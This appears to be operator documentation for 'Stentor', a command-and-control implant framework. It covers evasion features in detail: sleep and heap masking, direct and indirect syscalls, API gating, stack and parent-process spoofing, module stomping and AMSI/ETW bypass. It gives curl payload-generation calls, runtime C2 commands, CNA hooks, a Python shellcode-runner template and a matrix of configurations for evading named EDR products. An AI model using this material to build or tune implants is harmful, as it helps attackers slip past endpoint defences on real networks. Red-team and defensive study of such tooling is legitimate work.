Skip to content

Evasion Kits

Stentor provides 13+ evasion knobs that can be configured at payload generation time and modified at runtime via C2 tasks. This page covers every evasion option, the five custom kit systems, and a decision matrix to help you choose the right configuration for your target environment.


Overview

Evasion options fall into two categories:

  • Build-time options are embedded into the payload binary during generation. They cannot be changed after deployment (e.g., Garble obfuscation, kill date, exit function).
  • Runtime options are configured at generation time but can be modified via C2 tasks after the beacon is running (e.g., sleep masking, syscall method, BeaconGate).
graph LR
    A[Payload Generation<br/>API / CNA Hook] --> B[Build-Time Injection<br/>ldflags & build tags]
    B --> C[Compiled Binary<br/>EXE / DLL / Shellcode]
    C --> D[Runtime Evasion Config<br/>Modifiable via C2 Tasks]
    D --> E[Beacon Execution<br/>Sleep Mask · Syscalls · BeaconGate]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff

Runtime modifications

Runtime options are stored in a thread-safe EvasionConfig struct protected by a sync.RWMutex. Changes made via C2 tasks take effect immediately on the next beacon cycle.


Evasion Options Reference

The table below lists every evasion-related field available in the payload generation request and the implant's EvasionConfig struct.

Option Type Default Build/Runtime Description
sleep_mask bool false Runtime Encrypt beacon memory (.text, heap) during sleep
sleep_method string "direct" Runtime Sleep technique: "direct" or "timer_queue" (Ekko-style)
heap_mask bool false Runtime Encrypt heap records during sleep
stack_mask bool false Runtime Encrypt thread stack during sleep (experimental)
stack_spoof_depth int 0 Runtime Max call stack frames to spoof (0 = all beacon frames)
syscall_method string "none" Runtime API call routing: "none", "direct", or "indirect"
ppid_target string "" Runtime Parent process name for PPID spoofing (e.g., "explorer.exe")
module_stomp_dll string "xpsservices.dll" Runtime DLL to stomp for MEM_IMAGE backing
hwbp_enabled bool false Runtime Use hardware breakpoints for AMSI/ETW bypass (no memory patches)
beacon_gate.enabled bool false Runtime Route 25 sensitive APIs through syscalls
beacon_gate.mask_on_call bool false Runtime Encrypt beacon memory before each gated API call
exit_func string "process" Build-time Exit behavior: "process" (ExitProcess) or "thread" (ExitThread)
obfuscate bool false Build-time Garble obfuscation (unique hash per build, randomized symbols)
kill_date string "" Build-time RFC3339 expiration (payload self-terminates after this date)

API Example

Generate a payload with sleep masking and indirect syscalls enabled:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "obfuscate": true
  }'

Combining options

The evasion_options object in the generation request controls build-time injection of sleep mask and syscall settings. Runtime changes are made via C2 tasks like config sleep_mask true and config syscall_method indirect after the beacon checks in.


Sleep Masking

Sleep masking encrypts beacon memory during sleep intervals using XOR with a random key, preventing in-memory signature scanning while the beacon is idle.

What It Does

When sleep masking is enabled, the beacon:

  1. Generates a random XOR key before each sleep cycle
  2. Encrypts the .text section (executable code) so static signatures fail
  3. Optionally encrypts heap allocations (heap mask) to hide in-memory strings
  4. Optionally encrypts the thread stack (stack mask) to prevent stack-based detection
  5. Sleeps for the configured interval
  6. Decrypts everything and resumes execution

Sleep Methods

Uses SleepEx directly. The beacon thread sleeps while other Go runtime goroutines (GC, sysmon) continue running. This is the safest method because it respects the Go scheduler.

config sleep_method direct

Creates a timer that fires after the sleep interval, avoiding direct calls to Sleep/SleepEx that EDRs monitor. The timer queue approach uses CreateTimerQueueTimer to schedule the wake-up.

config sleep_method timer_queue

Go runtime safety

Go runtime goroutines (garbage collector, sysmon) will crash if they attempt to execute encrypted .text section code. The sleep mask uses goroutine pinning to ensure masking only occurs when it is safe to do so. The direct method is more reliable with the Go runtime.

Heap Masking

Heap masking encrypts registered heap allocations during sleep. This prevents EDR memory scanners from finding configuration strings, C2 URLs, or other indicators in heap memory while the beacon is idle.

config heap_mask true

Stack Masking

Stack masking encrypts the thread's call stack during sleep. This is experimental and may cause stability issues with certain Go runtime configurations.

config stack_mask true

Experimental feature

Stack masking modifies the raw thread stack memory. While tested in lab environments, it may cause crashes in edge cases where Go runtime goroutines interact with the stack during sleep. Use with caution in production engagements.

Stack Spoofing

Stack spoofing fabricates call stack frames to hide beacon return addresses from stack walking tools (e.g., Hunt-Sleeping-Beacons, Patriot, Moneta). The spoofer:

  1. Captures the real RBP via RtlCaptureContext
  2. Walks the RBP frame pointer chain to identify beacon frames
  3. Replaces beacon return addresses with legitimate system DLL addresses (RtlUserThreadStart, BaseThreadInitThunk, NtWaitForSingleObject, etc.)
  4. Builds a synthetic RBP chain linking each spoofed frame to the next
  5. Restores original values after sleep
config stack_spoof_depth 0

Set stack_spoof_depth to 0 to spoof all beacon frames, or to a specific number to limit how many frames are replaced.

Runtime Configuration

# Set sleep interval to 30 seconds
sleep 30

# Enable sleep masking
config sleep_mask true

# Switch to timer queue method
config sleep_method timer_queue

# Enable heap masking
config heap_mask true

# Enable stack spoofing (all frames)
config stack_spoof_depth 0

Syscall Obfuscation

Syscall obfuscation controls how the beacon invokes Windows API functions. Three modes are available:

Modes

Standard Windows API calls through kernel32.dll / ntdll.dll. Every call passes through usermode DLL exports where EDR hooks are installed.

config syscall_method none

Resolves syscall numbers at runtime by walking the PEB InMemoryOrderModuleList to find ntdll, then executes the syscall instruction directly from beacon memory. Bypasses usermode hooks but leaves a "syscall from non-ntdll" artifact that stack analysis can detect.

config syscall_method direct

Resolves syscall numbers the same way as direct mode, but trampolines through the syscall instruction inside ntdll.dll itself. The syscall appears to originate from ntdll, matching expected behavior.

config syscall_method indirect

Comparison

Mode Hook Bypass Detection Resistance Compatibility Recommended For
none No Low All Windows Lab / testing
direct Yes Medium Windows 10+ Standard engagements
indirect Yes High Windows 10+ EDR-heavy environments

Acheron library

Both direct and indirect modes use the acheron library for syscall number resolution via PEB walking. The distinction is where the syscall instruction executes from: beacon memory (direct) vs. ntdll.dll (indirect).


BeaconGate

BeaconGate intercepts 25 specific Windows API calls and routes them through the configured syscall method (direct or indirect). This provides targeted hook bypass for the most commonly hooked APIs without requiring every API call to go through syscalls.

Gated APIs

The 25 APIs are organized by category:

Category APIs
Memory VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery
Thread CreateThread, CreateRemoteThread, ResumeThread, OpenThread, ExitThread
Process Memory WriteProcessMemory, ReadProcessMemory
Handle OpenProcess, CloseHandle, DuplicateHandle
Thread Context GetThreadContext, SetThreadContext
File Mapping CreateFileMappingA, MapViewOfFile, UnmapViewOfFile
Network (WinINet) InternetOpenA, InternetConnectA
Registry NtSetValueKey, NtOpenKey

Mask-on-Call

When mask_on_call is enabled, BeaconGate encrypts beacon memory before each gated API call and decrypts it after. This provides maximum evasion -- the beacon's memory is only readable for the brief moment the API executes -- but incurs higher CPU overhead.

Interactive mode auto-disable

When the beacon sleep interval drops below 3 seconds (interactive mode), BeaconGate masking is automatically disabled to prevent CPU spikes. This matches Cobalt Strike 4.12 behavior.

Configuration via C2

# Enable BeaconGate
beacon_gate enable

# Enable mask-on-call
beacon_gate mask_on_call true

# Disable a specific API from gating
beacon_gate api VirtualAlloc false

# Re-enable a specific API
beacon_gate api VirtualAlloc true

Fallback Behavior

If a gated syscall fails (NTSTATUS error), BeaconGate automatically falls back to the standard Win32 API call. Fallback events are logged for operator visibility.

Best combination

BeaconGate is most effective combined with indirect syscalls. Enable both for maximum usermode hook bypass: config syscall_method indirect followed by beacon_gate enable.


Artifact Kit

The Artifact Kit allows operators to replace the default cross-compiled implant binaries with custom loader binaries. Three template types are supported:

Template Field Description
Custom EXE custom_exe_template Replace the default EXE binary with a custom loader
Custom DLL custom_dll_template Replace the default DLL binary with a custom loader
Custom Service custom_svc_template Replace the default Service EXE with a custom loader

How It Works

When a custom template is provided via the API or a CNA hook, the relay uses the provided binary directly instead of cross-compiling the implant from Go source. The relay embeds the beacon shellcode at a known offset inside the custom binary.

CNA Hook

The EXECUTABLE_ARTIFACT_GENERATOR hook lets a CNA script intercept payload generation and return a custom binary:

# artifact_kit.cna -- Artifact Kit hook
on EXECUTABLE_ARTIFACT_GENERATOR {
    local('$filename $shellcode');
    $filename = $1;
    $shellcode = $2;

    # Pack shellcode into custom loader
    $loader = load_custom_loader($filename);
    return embed_shellcode($loader, $shellcode);
}

API Example

Provide a base64-encoded custom EXE template in the payload generation request:

# Base64-encode your custom loader
TEMPLATE=$(base64 -w0 custom_loader.exe)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"standalone\",
    \"listener_id\": \"LISTENER_UUID\",
    \"custom_exe_template\": \"$TEMPLATE\"
  }"

Template requirements

Artifact Kit templates must be standalone PE binaries that know how to load embedded shellcode. The relay embeds the beacon shellcode at a known offset in the binary. Test your custom loaders thoroughly in a lab before production use.

Use Cases

  • Pack beacon shellcode into a custom loader with additional evasion (process hollowing, fiber execution, ETW patching)
  • Use a signed legitimate binary as a carrier
  • Implement custom anti-sandbox checks before beacon execution

Resource Kit

The Resource Kit allows operators to customize non-binary payload templates -- scripts and documents used for initial access delivery.

Template Field Description
Custom HTA custom_hta_template Custom HTA page template (replaces default mshta container)
Custom PS1 custom_ps1_template Custom PowerShell download cradle (replaces default stager)
Custom VBA custom_vba_template Custom VBA macro template (replaces default DOCM/XLSM macro)
Custom VBS custom_vbs_template Custom VBScript template (replaces default VBS in HTA)
Custom Python custom_python_template Custom Python shellcode runner

CNA Hooks

Multiple hooks are available for different resource types:

Hook Purpose
RESOURCE_GENERATOR General resource generation (VBS, scripts)
RESOURCE_GENERATOR_VBS VBScript-specific generation (fallback when RESOURCE_GENERATOR does not handle)
HTA_APPEXE HTA executable method template
HTA_APPPS1 HTA PowerShell method template
PYTHON_COMPRESS Python shellcode runner template

Template Variables

The Python template receives Go template variables for shellcode injection:

Variable Description
{{.ShellcodeHex}} Hex-encoded shellcode bytes
{{.ShellcodeLen}} Length of the shellcode in bytes

Example custom Python template:

import ctypes

shellcode = bytes.fromhex("{{.ShellcodeHex}}")
buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(ctypes.c_void_p))
func()

Easiest customization path

Resource Kit templates are the easiest customization path. No binary compilation needed -- just modify the script templates with additional obfuscation, anti-sandbox checks, or social engineering content.


User-Defined Reflective Loader (UDRL)

UDRL replaces the default reflective loader with a custom binary that handles in-memory PE mapping. This gives operators full control over how the beacon payload is loaded into memory.

How It Works

  1. The operator provides a custom loader binary via udrl_options.loader_binary (base64-encoded)
  2. The custom loader binary is prepended to the beacon payload during generation
  3. When injected, the loader executes first and maps the beacon PE into memory
  4. The beacon begins execution after the loader completes PE mapping

Configuration

# Base64-encode the UDRL binary
LOADER=$(base64 -w0 custom_reflective_loader.bin)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"shellcode\",
    \"listener_id\": \"LISTENER_UUID\",
    \"udrl_options\": {
      \"loader_binary\": \"$LOADER\"
    }
  }"

PE Cloning Options

UDRL payloads support PE cloning options to reduce IOC uniqueness:

Option Type Description
rich_header string Hex-encoded Rich header bytes cloned from a legitimate PE
image_size_x86 int Override SizeOfImage for x86 payloads
image_size_x64 int Override SizeOfImage for x64 payloads
stomp_pe bool Zero MZ/PE headers after reflective loading
cleanup bool Free loader memory after initialization
smart_inject bool Embed function pointer hints for loader (avoids EAT walking)

UDRL caveats

  • UDRL binaries must implement the expected loader interface. Test thoroughly in a lab before production deployment.
  • The UDRL loader binary is not stored in the database for regeneration. The operator must re-upload the loader binary when regenerating a UDRL payload.

Sleep Mask Kit

The Sleep Mask Kit allows operators to replace the default sleep mask implementation with custom Go source code.

How It Works

  1. The operator provides custom Go source code that implements the SleepMaskKit interface
  2. At build time, the custom source replaces the default sleep mask via the custom_sleepmask build tag
  3. The custom implementation handles all memory encryption/decryption during sleep

Configuration

The Sleep Mask Kit can be provided through three mechanisms (in priority order):

  1. CNA hook (highest priority): BEACON_SLEEP_MASK returns custom Go source
  2. Kit templates DB: Upload source via the kit_templates API
  3. Default implementation: Built-in sleep mask if no custom source is provided

CNA Hooks

Hook Purpose
BEACON_SLEEP_MASK Provide custom sleep mask Go source code
SLEEP_MASK_KIT_BUILD Modify build flags before compilation

Example CNA hook:

on BEACON_SLEEP_MASK {
    local('$variant $arch $options');
    $variant = $1;
    $arch = $2;
    $options = $3;

    # Return custom sleep mask source
    return read_file("custom_sleep_mask.go");
}

on SLEEP_MASK_KIT_BUILD {
    local('$filename $arch $default_flags');
    $filename = $1;
    $arch = $2;
    $default_flags = $3;

    # Add extra build tags
    return "$default_flags -gcflags=-N";
}

API Example

Upload a sleep mask kit template:

curl -s -X POST https://stentor.app/api/v1/kit-templates \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "sleepmask",
    "name": "sleep_mask_default",
    "content_text": "package evasion\n\ntype CustomSleepMask struct{}\n\nfunc (c *CustomSleepMask) MaskAndSleep(interval int) { ... }"
  }'

Interface requirement

Custom sleep mask source must implement the SleepMaskKit interface from the evasion package. The build tag custom_sleepmask excludes the default implementation and includes your custom code.


Drip-Loading

Drip-loading allocates memory in small page-sized chunks with configurable delays between allocations, instead of making one large allocation that EDRs flag.

How It Defeats Detection

EDR products correlate large memory allocations (VirtualAlloc with sizes > 100KB) with shellcode injection. Drip-loading defeats this temporal correlation by:

  1. Allocating memory in small chunks (default: 4096 bytes / one page)
  2. Inserting a configurable delay between each allocation (default: 10ms)
  3. Committing each page individually so no single allocation appears suspicious

Two Modes

Mode Field Default Description
Staging staging_enabled false Drip-load during reflective loading
Injection inject_enabled true Drip-load during process injection

Default behavior

Injection drip-loading is enabled by default with a 10ms delay. Staging drip-loading is disabled by default because it adds latency to the initial beacon load.

Configuration

Field Type Default Description
staging_enabled bool false Enable drip-loading during reflective loading
staging_delay int 0 Milliseconds between chunks during staging
inject_enabled bool true Enable drip-loading during process injection
inject_delay int 10 Milliseconds between chunks during injection

API Example

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    }
  }'

Additional Evasion Features

PPID Spoofing

Set the parent process for spawned child processes. Process tree analysis tools show the spoofed parent instead of the beacon process.

Field Value Description
ppid_target "explorer.exe" Set parent to explorer.exe
ppid_target "svchost.exe" Set parent to svchost.exe
ppid_target "" Disable PPID spoofing
config ppid_target explorer.exe

OPSEC note

PPID spoofing is detectable via ETW Microsoft-Windows-Kernel-Process events. The EventHeader.ProcessId reveals the real parent PID regardless of the spoofed value. Use this for defense against process tree tools, not ETW-equipped SOCs.


Module Stomping

Back injected code with a legitimate DLL's memory section for MEM_IMAGE backing. Instead of allocating MEM_PRIVATE memory (which stands out in memory analysis), the beacon's code occupies a section that appears to belong to a legitimate DLL.

Field Value Description
module_stomp_dll "xpsservices.dll" Use xpsservices.dll (~3MB .text section)
module_stomp_dll "" Disable module stomping
# Enable module stomping with a specific DLL
evasion module_stomp {"dll": "xpsservices.dll"}

# Disable module stomping
evasion module_stomp {"dll": ""}

DLL selection

Choose a DLL with a .text section large enough to contain the beacon payload. xpsservices.dll is the default because it has a ~3MB .text section, large enough for any beacon payload.


Hardware Breakpoints (HWBP)

Use debug registers (DR0-DR3) and a Vectored Exception Handler (VEH) instead of inline memory patches for AMSI and ETW bypass. No modified bytes appear in scanned memory regions.

Field Value Description
hwbp_enabled true Enable hardware breakpoint AMSI/ETW bypass
hwbp_enabled false Use traditional inline patching
config hwbp_enabled true

Traditional AMSI/ETW bypass patches bytes in amsi.dll and ntdll.dll, which memory integrity scanners detect. Hardware breakpoints set debug registers that trigger a VEH before the function executes, returning a benign result without modifying any code bytes.


Guardrails

Restrict payload execution to systems matching specific patterns. Non-matching systems exit silently -- no crash, no error, no beacon.

Field Type Example Description
ip string "10.10.10.*" Match any local IP (wildcard)
hostname string "DC*" Match hostname (case-insensitive, wildcard)
domain string "corp.local" Match AD domain (Windows only)
username string "admin*" Match current username (case-insensitive, wildcard)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

OPSEC best practice

Always set guardrails for production engagements. A payload without guardrails can execute on any system, including analyst sandboxes and unrelated networks.


Garble Obfuscation

Enable Garble obfuscation at build time to randomize function names, remove debug symbols, and encrypt string literals. Each build produces a unique binary hash.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true
  }'

Garble is a build-time option. Once a payload is generated without obfuscation, it cannot be added retroactively -- regenerate the payload with obfuscate: true.


Evasion Decision Matrix

Use the following table to select the right evasion configuration for your target environment.

Target Environment Recommended Configuration
No EDR (lab) Default settings, no evasion needed
Basic AV only obfuscate: true, kill_date set, guardrails configured
EDR (CrowdStrike, SentinelOne, Defender for Endpoint) Indirect syscalls + sleep mask + BeaconGate + PPID spoofing
EDR + memory scanning All above + heap mask + stack spoof + module stomping
Highly monitored (SOC watching) All above + custom Artifact Kit + UDRL + drip-loading + HWBP

Example: Full Evasion Configuration

Generate a maximally evasive payload for a heavily monitored environment:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true,
    "kill_date": "2026-06-01T00:00:00Z",
    "exit_func": "thread",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    },
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

Then configure runtime evasion after the beacon checks in:

# Enable indirect syscalls
config syscall_method indirect

# Enable sleep masking with timer queue
config sleep_mask true
config sleep_method timer_queue
config heap_mask true

# Enable stack spoofing
config stack_spoof_depth 0

# Enable BeaconGate with mask-on-call
beacon_gate enable
beacon_gate mask_on_call true

# Set PPID spoofing
config ppid_target explorer.exe

# Enable hardware breakpoint AMSI/ETW bypass
config hwbp_enabled true

Layered approach

Start with minimal evasion and add layers as needed. Over-evasion increases the chance of stability issues (especially stack masking and timer queue sleep) and makes debugging harder during an engagement.